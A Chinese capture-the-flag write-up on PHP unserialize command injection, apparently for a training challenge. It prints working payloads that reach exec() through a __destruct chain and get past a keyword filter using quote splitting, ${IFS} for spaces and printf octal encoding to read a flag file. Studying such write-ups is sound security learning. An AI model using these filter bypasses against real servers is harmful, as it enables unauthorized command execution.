目录
拿到源码先看题眼:
function ping($ip){
exec($ip, $result);
var_dump($result);
}
可以看到这是我们要利用的函数,而要执行这个函数就得先执行__destruct()函数:
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
代码执行顺序:
当我创建对象时执行__construct,此时的method 和 args 被设置好了;之后发生反序列化,调用__wakeup,对传入的参数进行waf检查,确保没有特殊的字符和字符名;最后反序列化结束后,调用__destruct,实现命令执行。
最关键的是绕过waf
绕过waf
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
是先对传入的ctf进行base64解码再进行反序列化,也就是说,我们传入的args得先进行序列化再进行base64加密,像这样:
echo(base64_encode(serialize($a)));
其次,我们得生成一个对象,由于call_user_func_array要求传入的第二个参数必须为数组:
$a=new ease("ping",array("ls"));
# 但这肯定不行,ls 会被waf过滤掉,可以尝试单引号双引号绕过
单引号双引号绕过
<?php
class ease
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$a=new ease("ping",array("l''s"));
echo(base64_encode(serialize($a)));
?>
可以看到一个文件夹 flag_1s_here 尝试读取该文件夹:
$a=new ease("ping",array("ls flag_1s_here"));
空格绕过
这里会检测到 “空格” 和 flag,空格可以用${IFS}进行代替,flag也通过引号绕过,但这里要注意的一点是:当${IFS}在双引号内部时,会被自动解析,所以这里我们要用单引号进行包裹,双引号进行绕过:
$a=new ease("ping",array('l""s${IFS}fl""ag_1s_here'));
成功得到flag文件名,接下来我们执行:
$a=new ease("ping",array('cat flag_1s_here/flag_831b69012c67b35f.php'));
特殊字符绕过
这里要过滤的多了一个 "/"和 php 字符 ,在linux中$()会执行括号内的命令,而 printf 可以将格式化参数转换为对应字符,但需要借助$()来执行,比如通过 $(printf "\x20")来生成空格,可以通过该方法来生成 /
$a=new ease("ping",array('ca""t${IFS}fl""ag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.ph""p'));
可以成功得到flag
同样的,也可以只用$() 和 printf 来进行操作:
$a=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));